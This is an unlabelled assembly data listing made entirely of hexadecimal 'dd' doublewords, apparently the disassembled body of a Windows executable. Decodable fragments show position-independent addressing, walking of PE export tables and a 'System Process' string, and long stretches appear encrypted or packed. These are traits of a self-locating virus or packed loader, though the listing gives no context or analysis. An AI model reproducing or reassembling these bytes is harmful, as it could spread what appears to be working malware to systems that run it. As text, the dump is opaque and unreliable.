		dd 8EAE0154h, 0B034247Bh, 0AAC10753h, 78338F8Dh, 6E33E635h
		dd 1E338FDDh, 0CC69AC35h, 0A367056Fh, 0E7770D31h, 0E1339931h
		dd 3361CE35h, 9BCC8462h, 0E4848355h, 6DF53462h,	6E6CB25Fh
		dd 1D3F11B8h, 2A608B98h, 0E1338C3Eh, 0F381BA1Ah, 67A984E8h
		dd 63B9A735h, 65A909B8h, 0DFB98B98h, 53C5CCAh, 0C3338C32h
		dd 0E1320F3Ah, 0FBCA8C35h, 53B783F5h, 33338C35h, 1E338ABAh
		dd 63DA0D35h, 0A086E33h, 6B7DC1A8h, 0B48CEA32h,	0F0323438h
		dd 0F03C8C35h, 3C338C30h, 8ED10D53h, 0D07358h, 1ABE7582h
		dd 0C49E1624h, 0E13383DCh, 0D6792C35h, 3A8330DBh, 0B0EF612Ch
		dd 688117D9h, 74A909B8h, 87598B98h, 0C3306460h,	0BC138C35h
		dd 9CBAD1F6h, 3CB28811h, 3C288811h, 4B768C35h, 0DC2A8CF6h
		dd 0E90774F7h, 15B8EA59h, 6A555CCAh, 0FFF387E4h, 7833E5B1h
		dd 71AE0135h, 7434247Bh, 0CDBDD35h, 0A7338C35h,	4A6A4F6Ch
		dd 6037A879h, 0EA37A871h, 39338C35h, 0E8364F64h, 0B2825A8Eh
		dd 0FB88352h, 3F338C35h, 0C3338C36h, 9638C5Fh, 0F0338C36h
		dd 20F0D415h, 3817C8BCh, 1A17C8B4h, 0F338C22h, 34F0DC75h
		dd 0A581F195h, 2EF45BB4h, 0FBDA6FCAh, 0C338C35h, 0C0DEB512h
		dd 26FEFDB5h, 65704AA9h, 84DBD935h, 0E3338C35h,	686E4F68h
		dd 7137A859h, 6037A871h, 79338C35h, 750B4F60h, 827A9DFEh
		dd 2AAA7688h, 51BE0132h, 593421A8h, 7A78D048h, 631A0906h
		dd 0F3188B9Dh, 0B83165F4h, 981D3F11h, 3E2A608Bh, 1AE1338Ch
		dd 0E8F381BAh, 3567A984h, 8363B9A7h, 0A4F305E9h, 0F60C08Bh
		dd 850FF9B7h, 1, 0E86061F8h, 14h, 793A498h, 72424B9Dh
		dd 0A99ABA10h, 0CB986CEDh, 9C9654CCh, 815E6160h, 0BCA1CBEBh
		dd 8BFC6175h, 8F0F60C3h, 15h, 10E9h, 27C2F000h,	0D932F227h
		dd 0C20E5FC0h, 78DB1A25h, 6E9C5h, 0F4ED0000h, 3260D337h
		dd 6AC08B61h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0CB80C351h, 0BB4E91D4h, 8B665770h
		dd 0BD835EF0h, 7A827F9h, 83097500h, 0A80605BDh,	19740007h
		dd 0C08B5350h, 47AB8h, 0CD858900h, 8D07A80Eh, 0AAB08A9Dh
		dd 5BD3FF07h, 5BD8358h,	7A806h,	53501774h, 47AB8h, 0CD858900h
		dd 8D07A80Eh, 0AAAD2B9Dh, 5BD3FF07h, 0FE86058h,	0FB000000h
		dd 66957DD5h, 54E5C24Eh, 6FA76389h, 6160AE56h, 840F615Ah
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 20C35141h
		dd 0F1017938h, 1DF5B4Eh, 8BFFB70Fh, 266E9C0h, 66600000h
		dd 0C1F6D98Ch, 35840F04h, 6A000000h, 95B5FF01h,	8D07A818h
		dd 0AB781A85h, 89D0FF07h, 0A818F585h, 0C1FE8B07h, 680CEFh
		dd 6A200600h, 57026A00h, 1000D68h, 0F595FF00h, 0E907A818h
		dd 32h,	61985C6h, 685607A8h, 0A9C530DFh, 0CE1B5FFh, 858D07A8h
		dd 7AB781Ah, 8589D0FFh,	7A82DADh, 1915858Dh, 6A5007A8h
		dd 56056A40h, 2DAD95FFh, 0C36107A8h, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 0AD9F4B85h, 0C428B07h,	9F438589h
		dd 428B07ADh, 47858910h, 8D07AD9Fh, 0AD9F81B5h,	0A1858D07h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 7AD9F4Bh, 9F43858Bh
		dd 0BD8307ADh, 7AD9F47h, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 9F4B8589h, 0B58D07ADh,	7AD9FD2h
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 7AD9F4Bh, 8B0004C2h
		dd 0AD9F4B85h, 89008B07h, 0AD9F4B85h, 0CF07h, 89600000h
		dd 0AD9FA8B5h, 0A4858907h, 8D07AD9Fh, 0A822D585h, 44408B07h
		dd 9FE18589h, 0B58D07ADh, 7ADA017h, 8EA1858Dh, 0D0FF005Bh
		dd 0A8858B61h, 0C307AD9Fh, 9FA49D8Bh, 0B70F07ADh, 0D8033C43h
		dd 3785B8Bh, 0AD9FA49Dh, 24738B07h, 9FA4B503h, 8B5607ADh
		dd 738B207Bh, 0A4BD031Ch, 307AD9Fh, 0AD9FA4B5h,	0C983FC07h
		dd 9D8B41FFh, 7AD9FA8h,	9503178Bh, 7AD9FA4h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 7AD9FA4h,	9FA88589h, 0F08B07ADh, 0C18BCE8Bh
		dd 9FE1BD81h, 7ADh, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 0E1BD8B00h, 8307AD9Fh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 9FE1BD81h, 7ADh
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0E1BD8100h, 7AD9Fh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 9F4F858Dh, 858907ADh, 7A828ADh
		dd 9FE5858Dh, 858907ADh, 7A80B0Dh, 9FAC858Dh, 858907ADh
		dd 7A80A1Dh, 167E9h, 72187000h,	83692C2Ah, 7F4DFA87h, 0A259844Fh
		dd 0A957A108h, 0AA57B551h, 0A1593508h, 8A70CC51h, 0D8252738h
		dd 2371D851h, 27C504D3h, 9FB7A89Fh, 0EE151550h,	12851h
		dd 0
		dd 400h, 2 dup(0)
		dd 3300h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 3Fh dup(0)
		dd 176BE9h, 0A4A96800h,	0AE907ADh, 68FFFBA7h, 7ADA59Bh
		dd 0FBA700E9h, 0A65E68FFh, 0F6E907ADh, 68FFFBA6h, 7ADA764h
		dd 0FBA6ECE9h, 0A90568FFh, 0E2E907ADh, 68FFFBA6h, 7ADAA37h
		dd 0FBA6D8E9h, 0AAFA68FFh, 0CEE907ADh, 68FFFBA6h, 7ADABE3h
		dd 0FBA6C4E9h, 0AE4C68FFh, 0BAE907ADh, 68FFFBA6h, 7ADAF3Ah
		dd 0FBA6B0E9h, 0B00268FFh, 0A6E907ADh, 68FFFBA6h, 7ADB089h
		dd 0FBA69CE9h, 0B24568FFh, 92E907ADh, 68FFFBA6h, 7ADB77Eh
		dd 0FBA688E9h, 0B86968FFh, 7EE907ADh, 77FFFBA6h, 4C9FAE48h
		dd 26798892h, 25564B2h,	0D92C3BC5h, 0C10211EDh,	59A52122h
		dd 31C5F74Ah, 0A1CCF22h, 0E537A8FBh, 50B99AD6h,	7A12E552h
		dd 0D516BD58h, 9EF652E4h, 90F2299Dh, 0E4D56254h, 544C0312h
		dd 0E0B7204Dh, 0B47A0E52h, 53BC0734h, 6ABE034Fh, 0C2B44E7Ch
		dd 3758D8F2h, 36E300Fh,	203A6ABEh, 76D7078Ah, 41E3E6CFh
		dd 4C000000h, 6AB08635h, 62BB117Ch, 24F4E622h, 2F71F003h
		dd 0D3CF3883h, 0D7726542h, 42960C57h, 0D7147265h, 9AD612E4h
		dd 489F046Dh, 8D0D7A0Dh, 3CE2BC9Bh, 0ACC66ABDh,	4263931Eh
		dd 0E36FE6D0h, 28000000h, 2012E4D5h, 71DA5793h,	72654231h
		dd 0BED8269Ah, 8310023Eh, 41CEC04Ah, 3A517E88h,	0B2827482h
		dd 0AEC54C91h, 47C8E93Fh, 72654722h, 65748637h,	5D4FD912h
		dd 406D346Ch, 7163B329h, 0B41D80A1h, 7A0D636Fh,	0D059102Ah
		dd 3B465CC5h, 0E4646ABDh, 31958AE8h, 0A7907FF1h, 0A7C804A4h
		dd 41C8D757h, 36AAB12Ah, 2DBAACE8h, 82965B1h, 53802B75h
		dd 67A7D7EAh, 1AD41172h, 0E9634250h, 124EC0EFh,	41219020h
		dd 0C39C64BEh, 71E4B87h, 0DD303FDBh, 21FF15E1h,	22DB81Bh
		dd 14998F6Ah, 0BD2C0000h, 0C9015463h, 0E5DB2E3Dh, 0AB70A19h
		dd 508EE1F0h, 6D76B7C6h, 0FD0C16D4h, 0D5E432AAh, 0AEBD4B82h
		dd 8998625Bh, 9F036C4Dh, 0B7A12E6h, 0E9D5C970h,	319A9D50h
		dd 72654271h, 417DB939h, 1CEEDF32h, 8AA1D60Dh, 10A3C452h
		dd 0D5EC1990h, 512113E3h, 3F64CD30h, 6D7A0D48h,	3C0F93FCh
		dd 5E9B6ABDh, 0D6A6986Eh, 8D6C5E9Ah, 6ABD3C11h,	0FEF03EB2h
		dd 0BBAD7971h, 8FE4B656h, 4849617Bh, 0E6D04218h, 0B024h
		dd 0E4D5DD00h, 57932012h, 0E9849ECBh, 0D5CF8E89h, 4E30B2Ch
		dd 72654B65h, 2231FBF4h, 1A0C1ECFh, 0FF2C7729h,	0D668D96h
		dd 0C3F50C7Ah, 1BC9D942h, 61E16ABDh, 34B40425h,	77326E25h
		dd 0C8CFE14Ah, 86F77267h, 126E851Dh, 69A52563h,	5DB9253Ch
		dd 4C2D93Ch, 7B6CDFAh, 0E2FFFF1h, 0AE4876C9h, 0B80AB698h
		dd 1EF9912Dh, 13A7h, 62718F3Ah,	3C4BDF0Fh, 1827F7E9h, 0EFFE18C5h
		dd 0C5D42E9Ch, 0E0DE5F84h, 38B40716h, 518CDFEEh, 7465B8C7h
		dd 765793A2h, 12E7950Dh, 0D37A157Ah, 0E00DE9D5h, 9812F6C6h
		dd 5AD8D426h, 5BA0C120h, 3645D708h, 12E4D5FFh, 6455F20h
		dd 3F60A3C7h, 0A14CCC5h, 0F701BAE9h, 0D32395E8h, 919B54E1h
		dd 91786082h, 0C3622677h, 2FB0C96h, 7C4C3EC8h, 0D1D8C85Bh
		dd 857C3BA4h, 2E457A0Dh, 0F9496ABCh, 96092679h,	0CB6247AAh
		dd 38A1CED5h, 7ADB4FCBh, 3E2F21A1h, 0B11A4762h,	7336BA07h
		dd 8224FCFh, 0ABEFA850h, 0EAB82149h, 0C063DF4Ah, 80E30440h
		dd 97A67069h, 6B818B44h, 2C6F2E89h, 0E4E7C25Ah,	77000012h
		dd 4C9FAE48h, 26798892h, 25564B2h, 0D92C3BC5h, 0C10211EDh
		dd 59A52122h, 31C5F74Ah, 0A1CCF22h, 0E537A8FBh,	50B99AD6h
		dd 7A12E852h, 0D516BD58h, 0D00A21E4h, 42A7FB46h, 83037265h
		dd 3C645547h, 0AA1E3865h, 0B70F510Fh, 0B343756Eh, 0CDE42F92h
		dd 69EA0B1Bh, 7A0D7FA2h, 0F84B5ADAh, 0F10835C7h, 69392BFBh
		dd 712F2048h, 0C3F9407Dh, 3505F733h, 6781CCF9h,	0BAAFF40Ah
		dd 7DFE1FC7h, 7269F5A1h, 0FB98D4EEh, 9FFDA50Eh,	2DAD630Eh
		dd 83491E31h, 9D050087h, 9EBFAE5Ah, 8AA1CE4Eh, 65B8C751h
		dd 0BFB0A274h, 529DCAE1h, 4F53BC07h, 5B630EDDh,	0DD1290DBh
		dd 2798630Eh, 0EDDE4BEh, 0A46C663h, 7E9668E9h, 4CCC6ABCh
		dd 45D7081Fh, 3AC40118h, 12577848h, 0AFC0EBFh, 0EF1C8719h
		dd 6359E0D8h, 0D3365793h, 96BED6Ah, 0F2EA2763h,	67A37767h
		dd 0AD1D13Ah, 59D953B9h, 0EE73071Dh, 54EC3C46h,	11DE79h
		dd 0A8767100h, 82944699h, 5EA82073h, 35CFFC4Fh,	0B17D326h
		dd 1728BBFCh, 0ED404FABh, 0C51827FFh, 9EF10016h, 90CCDB2Dh
		dd 0E95C46AFh, 0B34E7A12h, 0DE9D50Ch, 0E4D4C6E0h, 0BF596273h
		dd 0FEA2599Eh, 142B76A3h, 0B79B8CD6h, 0F41B9738h, 0D5F6C6B8h
		dd 0DF09354h, 0F421A17Ah, 0F91AECDDh, 818B44D1h, 55A0EB72h
		dd 0BDF0B6ECh, 2974F46Ah, 6ABDF079h, 6190B131h,	26719E68h
		dd 0BDF0E5BDh, 2445C56Ah, 0E950BFCh, 431DCAE1h,	0A17312CEh
		dd 0D2C40098h, 9687F942h, 0D713EBB4h, 0DDEA53B6h, 1772663Bh
		dd 9F41A597h, 0F802BB0Bh, 934B62E9h, 0A4C59587h, 0E7148F11h
		dd 56F339Ch, 0CA3B6316h, 16054161h, 0ADE96963h,	27C0298Ch
		dd 0D6ABE06h, 9249608Dh, 0C9C29284h, 43130511h,	7C6DFA22h
		dd 0B74FB8AAh, 7A316FE3h, 7D88364Dh, 6E058E14h,	609C1C5Bh
		dd 7473DC3Fh, 0C0631605h, 0EDDE3140h, 4E68291Bh, 0A841099Ah
		dd 63E405DBh, 53C6383Bh, 8155655Bh, 5CAFBE48h, 216C9963h
		dd 0FD48D60Ah, 53C618A5h, 3C648505h, 214E554Bh,	80228BD6h
		dd 2A53C618h, 0BF0889AAh, 225B6E4Dh, 94F2F708h,	2A4B08ECh
		dd 294B5ADAh, 209CB3D4h, 7E22B5D6h, 998DF623h, 1953CB1Ch
		dd 30474699h, 9E706CBEh, 5C553D3Dh, 666493B4h, 0DF1BEFDFh
		dd 37900EEDh, 0D1CF4470h, 0C244ADDAh, 0B04C1DD8h, 0BDAF7B73h
		dd 6A84B1EDh, 221CA82h,	72665FE4h, 92083A4h, 0E43746D0h
		dd 0A22F21EBh, 4C4DA24h, 9F174878h, 103D2C07h, 11D00000h
		dd 35A5F807h, 497FD2E1h, 6E5BAEBDh, 0B4328594h,	0C91A5B6Ah
		dd 0A1B04A78h, 79889E4Eh, 5261B726h, 2D3CCEFFh,	0FBA710F1h
		dd 0AF7A12EAh, 8AA16D14h, 26AC035Dh, 0B86D5949h, 0BE2C5B7Ch
		dd 0C9025564h, 96BDE54Eh, 0D00E7265h, 6A845446h, 2FBCAEEAh
		dd 68647BBEh, 964F539Eh, 0DB5B7265h, 9AF3AD9Fh,	0C9BB4783h
		dd 0C2D8D8F9h, 2231FBF4h, 27E86A9Ah, 8C3950DFh,	8FB08072h
		dd 11752h, 0E4D50B00h, 5A932012h, 960AC1D0h, 1DCA914Eh
		dd 5D5C703h, 64339CC9h,	307A0D6Ah, 0BFDFBEB0h, 0E96ABD1Ah
		dd 86B6FBCFh, 92E6D060h, 20h, 742F714Bh, 48C5DE47h, 67E77A0Dh
		dd 3C089675h, 86A06ABDh, 423D6D34h, 9E49E6D0h, 2000000h
		dd 2012E4D5h, 0D9CB5793h, 3AC40118h, 6AF1EA19h,	3966A27Ch
		dd 3B2C9E1Fh, 0FB1C26B5h, 839546D3h, 629ACF74h,	0EBF7265h
		dd 6A36EDFCh, 0B0C7123Fh, 1191FA3Dh, 99726559h,	3BBCDD19h
		dd 7A1006F3h, 4B718FCFh, 306A8B18h, 0C1BDD45Eh,	4480C721h
		dd 38C20017h, 0EE8D629h, 40A56EF8h, 5631C925h, 0F0Bh, 0C6D5239Eh
		dd 0A0AF7B73h, 7C8B9B4Dh, 5362BC29h, 2938C200h,	8442FBE8h
		dd 0A4186B7Ah, 0FDF04352h, 10C91C2Bh, 0DABBF706h, 12EC3171h
		dd 37DE797Ah, 0FE0DE9D5h, 0D9E832ABh, 12E4D5A2h, 0D05A9320h
		dd 0AB7D6EC1h, 0D8CA337Eh, 0D2726542h, 18093152h, 8BF42188h
		dd 7A0D486Ch, 0E43EABE8h, 4AF899A8h, 31000008h,	0E00DE9D5h
		dd 974811C9h, 87574985h, 3F5F3E66h, 20726542h, 0D3CF3880h
		dd 0D7726542h, 0A3EE1B57h, 6542683Ah, 68D14272h
		dd 7265423Ah, 93B4F070h, 0E447C730h, 0BB3B7A12h, 0B446778Eh
		dd 8F9952A5h, 2891DC9Dh, 6AB7A17Ah, 2FFBF330h, 10316D3Dh
		dd 319E5E1h, 254778E9h,	485732CAh, 0DB00000Eh, 0B00312ECh
		dd 8ADDEC3Eh, 66B9C856h, 3D909F79h, 25667581h, 0BD5985BEh
		dd 95615BAEh, 6EB83386h, 49D30C5Fh, 0B41DFE3Ah,	7A12ECEEh
		dd 0D57A21BCh, 77FE0DE9h, 9E9A6C60h, 0DC4354A4h, 0E9183922h
		dd 0A73426F0h, 0A0B7E436h, 1F83EC2Fh, 8B7265E9h, 86AECF0Bh
		dd 0F2C4D6CCh, 0B7022FF9h, 65E9544Eh, 0B5D65672h, 95B8E870h
		dd 879EDF27h, 44D1C357h, 0BE8E808Ah, 16246182h,	0DD000000h
		dd 654D1083h, 132D5A72h, 0BC25CD80h, 7BF819E1h,	0FFFFFDFAh
		dd 421B83B4h, 5C447265h, 67AF1845h, 187A12E3h, 0A03E64CDh
		dd 0EC6C6AB7h, 0CEFB7BCBh, 0E5F406B7h, 0F8AA135Eh, 0B26AB79Fh
		dd 728C3932h, 608FB080h, 0EAAB9D6Fh, 190B17D3h,	0CDF92849h
		dd 0E6DF7A71h, 0B83C257Dh, 905856Ah, 44071E1h, 47CFD4EEh
		dd 3813AB25h, 0D5Fh, 1A29F7F2h,	0F40317C7h, 0D0DF2FA1h
		dd 0A7B6407Dh, 7D8C9654h, 2896A73Ch, 706CBFCEh,	894497A6h
		dd 0AC1D707Fh, 2E0F4B5Ah, 12EDDDC5h, 8B32CD7Ah,	0B5ED56A1h
		dd 0F5726542h, 0C3DF4875h, 0E7726542h, 0A6174667h, 250F2B97h
		dd 55B9C439h, 0B4A6E21Eh, 7264B627h, 2F21F5E5h,	0ECDE28A2h
		dd 2D4E688h, 0DE0440CEh, 0B9D0D2E8h, 0A3D2F303h, 49D1E02Ah
		dd 0DF283819h, 23F5E8FFh, 3406131h, 24h, 1387A1BCh, 0F600BDF7h
		dd 28383404h, 0E566879Bh, 72660CAEh, 38758FBCh,	1A8DDDC4h
		dd 0FF4ECBECh, 87FFFFFCh, 47742F71h, 0D4965DEh,	615D747Ah
		dd 0D7219C95h, 0B9E666B6h, 7B71DE9Fh, 0F01123B4h, 0F8B6E9C8h
		dd 77F46ABCh, 0F8DFC32Ch, 4BCB6ABCh, 11902A2Ah,	0E6D081E1h
		dd 8D89ADC7h, 7D6FBB33h, 0E5EEB1ADh, 95635A53h,	1E73774h
		dd 55A00000h, 0BD1EB6ECh, 0ECB4F46Ah, 19D08BC6h, 0C5D8F935h
		dd 65424B83h, 35849572h, 0DC637284h, 0CFE18C5h,	818D433Ch
		dd 6EB83160h, 158DF641h, 0B6726541h, 3101F305h,	4E769717h
		dd 6541976Fh, 78CFFC72h, 0F2C2B446h, 8437C4B6h,	0B6F204B5h
		dd 0F7C35BC4h, 902ACC9Ch, 74839546h, 0D2C4DFBDh, 28919445h
		dd 7265407Ah, 6574B030h, 224FD912h, 5648D20Bh, 5E3D6586h
		dd 726540B0h, 7F71F8F3h, 0F48173AFh, 0AE3A2CF6h, 40784E5Ch
		dd 4C667AB6h, 641A347Eh, 0EF210B1Ch, 0CBFB5F80h, 0D7DF285Ch
		dd 145h, 508AA190h, 0E304D4C6h,	0FFF13BB4h, 0A0AF7972h
		dd 0BFECB7E9h, 0F2E436A8h, 359E0122h, 7A0D6A62h, 376BD41Fh
		dd 736ABD1Ah, 282D2F3h,	1A6D3110h, 213B6ABDh, 5FD80889h
		dd 3DE4E6D0h, 4D000000h, 726E8836h, 7963FF9h, 3043648Ah
		dd 47742F71h, 0D48C5DEh, 7567E77Ah, 0BD3C0896h,	3486A06Ah
		dd 0D0423D6Dh, 0D40C23E6h, 8F88584Ah, 5D5C753h,	0B2A7E4h
		dd 0F9100000h, 0FF1233C3h, 0C35D8AA1h, 0B1E001D1h, 6FFCEE38h
		dd 637AA773h, 527A9B67h, 0D50214C5h, 6F80EBEh, 60ED1536h
		dd 0E98E9D6Fh, 72655B08h, 8F9E6861h, 0B4E1C8D8h, 0FD7E34Bh
		dd 24A2DF7Ah, 0BE27E8DAh, 6ABA7CE4h, 0CE0A46C6h, 0C35D8AA1h
		dd 0BA283FA2h, 0C0FE5160h, 1D102036h, 3BD32540h, 0AF660h
		dd 0C05E8900h, 9A6C5EB1h, 7680388Bh, 4DD71467h,	23FFEB3Eh
		dd 2F10D314h, 55867B3h,	0DD303FD7h, 0B60918EEh,	0A8E4F305h
		dd 0F0445EC7h, 0CB667A12h, 0DE9D524h, 4A6FC6E0h, 5B4DD90Fh
		dd 9FA18F8Bh, 4985914Bh, 5F90E328h, 5089A0CDh, 2960A5C6h
		dd 2012E4D5h, 0F7AB145Fh, 0B3726541h, 0C0B24476h, 6493B4F0h
		dd 0F192A16Bh, 42Dh, 0ED56A12Ah, 726542B5h, 0F305B8F5h
		dd 0FB0DBEB7h, 0F960DCDAh, 84CFFCA7h, 42D2D039h, 58D87265h
		dd 0E471B637h, 19307A12h, 0E23253A3h, 0C0E00F62h, 4853BCE9h
		dd 54725FAFh, 9B03E2D4h, 0D630F93h, 0C1DBA7F3h,	786664BEh
		dd 0E0DCAC9Eh, 0A1C2865Dh, 7D6D0D3Dh, 38B19EEh,	83D20000h
		dd 7265421Bh, 9A6C5D74h, 36B7D8A8h, 72654277h, 0E20F9A06h
		dd 0D578E79h, 5066E67Ah, 2542C2EEh, 88661F9h, 9B00000Ah
		dd 70C3D22Ch, 4A9DAC7Eh, 26798896h, 0FD505FB9h,	0E52635C1h
		dd 7D9945FEh, 55A11B6Eh, 2EF8F346h, 913CC1Fh, 74DDBEFAh
		dd 7A12F12Eh, 0D53AE17Ch, 9AE512E4h, 65427131h,	98B93972h
		dd 8A217F70h, 0F9A9125Dh, 0D2726541h, 4C1C0E18h, 2E91B232h
		dd 12E465C5h, 0C6D5557Ah, 6B5D910Fh, 9DD9A99Bh,	43270770h
		dd 6E887265h, 0D3DFA738h, 85413AF6h, 88085879h,	7E88445Bh
		dd 1EFCCA6Fh, 0EEB3630Ah, 9953A6B5h, 0DD0E9B8Dh, 0D2CB5D8Eh
		dd 0DED00C1Ah, 9E07B3EDh, 630A1C04h, 0A67069A6h, 0ACA8E4B4h
		dd 0EC35524h, 0A37736Eh, 7870F9F3h, 0B0ECBCAEh,	6ACDEEBEh
		dd 0B2337A01h, 4C62E26Ah, 35E99FD8h, 407853EBh,	0D3000009h
		dd 0A8FB0A14h, 82D5E436h, 5EB1C04Eh, 35889761h,	1D5E6D89h
		dd 0B5417DC6h, 8D9953A6h, 66B02B7Eh, 41CB0457h,	0AC15F632h
		dd 7A12F1F6h, 717219B4h, 0DE47742Fh, 7A12E450h,	8690485Fh
		dd 68951565h, 7C8B9B51h, 7163B329h, 0D52199B0h,	0A1633FA8h
		dd 0C7476AB7h, 168D13A6h, 42AA80E9h, 90107265h,	31C3DD9Eh
		dd 7FBBD0BCh, 346CFF20h, 0F9EB3DB0h, 57C0ED29h,	6AB19420h
		dd 6C9EB434h, 3335E96Ah, 8B9C09Bh, 9D4C0000h, 0A9217483h
		dd 0C5FB4E5Dh, 0EAD72A39h, 30AE0110h, 4D96D7E6h, 1D2CF6F4h
		dd 0F50412CAh, 0CEDD2BA2h, 0A9B8427Bh, 7F238C6Dh, 2B7A12F2h
		dd 0E4D5E990h, 42EAB821h, 0E4E17265h, 3E58281Ah, 39082BEh
		dd 944E40CAh, 1BA0C9Eh,	42059D06h, 68A57265h, 6D69A577h
		dd 5B5F35BAh, 5986C29Bh, 0C4F3253Fh, 6182DC25h,	4264941Ch
		dd 0A270DF27h, 29000001h, 0C5538AA1h, 4FE203D3h, 0C42D5A51h
		dd 7A0D611Bh, 0B8978909h, 6ABD24E6h, 8F12A8C2h,	0E6D0565Fh
		dd 17C6Bh, 0E4D52400h, 5A932012h, 5F51DD13h, 8D44538Fh
		dd 26B9813h, 7A0D6A95h,	7D258EFFh, 4E6ABD1Ah, 0C9998B9Dh
		dd 82362FAFh, 76B28274h, 87DF2F49h, 0C815637Eh,	0FEA07FA7h
		dd 0AA6ABC7Dh, 2D783A90h, 0BC7EDEC4h, 5B8CCC6Ah, 6C4FF8E0h
		dd 0EB4F70ACh, 0E6D05ABBh, 0B5ED56A1h, 0F56ABD28h, 0B9F507B8h
		dd 545B98h, 71140000h, 0FC47742Fh, 0A5FD66B1h, 5726542h
		dd 42683A85h, 0C2427265h, 488320A1h, 0A9297A0Dh, 3CC6D8B7h
		dd 0CEFD6ABDh, 0B94638h, 544A04F6h, 9C192D46h, 69D25385h
		dd 6ABD3C39h, 0C3B5F171h, 0AC880533h, 0C3FFBE98h, 8908A2A2h
		dd 0E6D0A959h, 0AD65h, 8AA11E00h, 6D6C856h, 0F305B6E5h
		dd 0AC767401h, 6ABC2DBAh, 28F2EB78h, 4F7B9219h,	0D0F1C1B3h
		dd 655E8A4Fh, 0EC3EAF72h, 484CA5BFh, 0C7BB6AE9h, 0C0DA61A6h
		dd 2B2A5485h, 0D46788FDh, 91A8D5CCh, 0CDCCE58h,	0F1F88EBh
		dd 0B37A0F45h, 0F3EF0633h, 46911827h, 1D68B22Fh, 6AB9EA85h
		dd 5584A525h, 61778D69h, 225418Fh, 6FD8F6Ah, 51900000h
		dd 7565B8C7h, 893F92A1h, 0AE1B6E7Dh, 0F4F24554h, 9DA1B2Ah
		dd 61708A38h, 3948DE0Eh, 1221F7E6h, 0EDFC0EBFh,	3B67D0B1h
		dd 6F7A12F4h, 8AA12DD4h, 6D6C856h, 0EE08B6E5h, 0C9538CDFh
		dd 0E4D583BAh, 455F2012h, 189E71F7h, 2F5E7F94h,	0BC5D6CBEh
		dd 49h,	0B0F906F5h, 418CB9F0h, 4465B32Ah, 12E465C3h, 7ED1517Ah
		dd 19FAAE4h, 0A15250B9h, 0D8586AB7h, 23066F9Ch,	95726543h
		dd 0A0926458h, 506794D0h, 0B1FCF9Eh, 1B0D4919h,	0B1F15Ah
		dd 79F9630Ah, 7A931C3Dh, 3Ah, 742F71B3h, 77E9DE47h, 0DEF87A0Dh
		dd 504681A1h, 4696B729h, 0A8F5D4C6h, 1A6ABCCAh,	86904E65h
		dd 1D556565h, 92FB2883h, 72651F35h, 0CE2895ACh,	0CEDD5DADh
		dd 0AE2Dh, 2F716600h, 48DE4774h, 6A7A12E4h, 36A6BDEAh
		dd 8A48BFE0h, 6634CE04h, 0D5DCEB1Bh, 0A5B7D1E6h, 77D244B1h
		dd 73D31031h, 8C000000h, 47742F71h, 7B6DBF30h, 0BE278AABh
		dd 7A12E469h, 0CC8ACB4Bh, 247610C2h, 0F8AA135Eh, 0B26AB7A0h
		dd 7DAD1132h, 63E6D5DDh, 16C79E4Ch, 6421204h, 0E6234414h
		dd 3Ah,	0B680384Fh, 7CFCC75Fh, 7E9FDBC2h, 0B72F716Bh, 72843801h
		dd 8274B080h, 0E04976B2h, 7A12E448h, 0EFADEE6Eh, 199339Fh
		dd 0D5D95080h, 195CE6h,	0AEC50000h, 25F5E731h, 0F083F104h
		dd 3A72655Dh, 0FFFF20F3h, 17C5DCFFh, 71CBDEFFh,	0FC47742Fh
		dd 65420F93h, 6E5E9B72h, 0D83B5C98h, 12E38B6Fh,	5D4FCF7Ah
		dd 3FB0346Ch, 1B84B1EDh, 7265420Eh, 0B2FD2AAAh,	9FF5949h
		dd 0B0D15163h, 0A2099788h, 0D6132A75h, 30995A4Ch, 6309FF72h
		dd 5B7CB838h, 0B7A124DAh, 91BE3E6Ah, 0A7B6407Ah, 339B0F0h
		dd 3015AA0Ah, 0C6113E7Ah, 0FBED39AFh, 0B4A6706Eh, 687A8E4h
		dd 6309F628h, 2F115A9Ah, 86C821AEh, 0D7061D4Ah,	468D3241h
		dd 0E7EBD577h, 9F7B67F6h, 0EAE4DDADh, 225E2E20h, 0FD0FC013h
		dd 1B861A0Bh, 3B4285EEh, 32B2C330h, 0F03AB340h,	0AC7A71FEh
		dd 0B00A00BAh, 597113E3h, 0FDA50E59h, 0ADB3E004h, 6DB7342Dh
		dd 5B8AAB7Bh, 36899862h, 0F27F7187h, 0D73C2EF8h, 822089D4h
		dd 28B3E005h, 338787A8h, 916B586Fh, 7FAECF9Fh, 58ABBA4Ch
		dd 4F669365h, 41698A9Ch, 0C802B7E5h, 5BEE44Dh, 6CECB3E0h
		dd 39B13E30h, 1D6FFBEDh, 0EA368Dh, 251CC891h, 10AAE6E9h
		dd 0D40117C6h, 6F822089h, 0A828B3DFh, 0A10B4287h, 42B5ED56h
		dd 75F57265h, 0D8DEC154h, 6542336Fh, 0BBF77772h, 79833CC9h
		dd 0D8231E87h, 6542336Fh, 0D6F77772h, 73BEC4D6h, 4A88A359h
		dd 9FEA6585h, 7265B603h, 0E7011BC8h, 0ECB34667h, 6455A8B7h
		dd 0FC935192h, 0FBED39B3h, 0B7A97F6Eh, 0E0B307FDh, 875F6B13h
		dd 0A671C456h, 11F0E234h, 7265B691h, 0AA135E63h, 7265B5F8h
		dd 0CAD841B2h, 0E07265B6h, 3032460h, 5BAF1FB7h,	54A6172Eh
